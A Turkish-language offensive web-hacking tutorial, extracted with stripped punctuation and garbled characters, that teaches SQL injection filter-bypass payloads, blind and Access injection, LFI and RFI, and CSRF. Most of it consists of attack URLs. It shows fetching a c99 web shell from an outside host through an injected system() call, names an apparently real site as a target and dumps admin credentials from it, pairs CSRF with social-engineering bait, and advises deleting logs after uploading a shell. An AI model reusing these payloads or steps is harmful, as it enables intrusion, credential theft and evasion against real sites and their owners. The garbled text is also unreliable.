wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 24: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

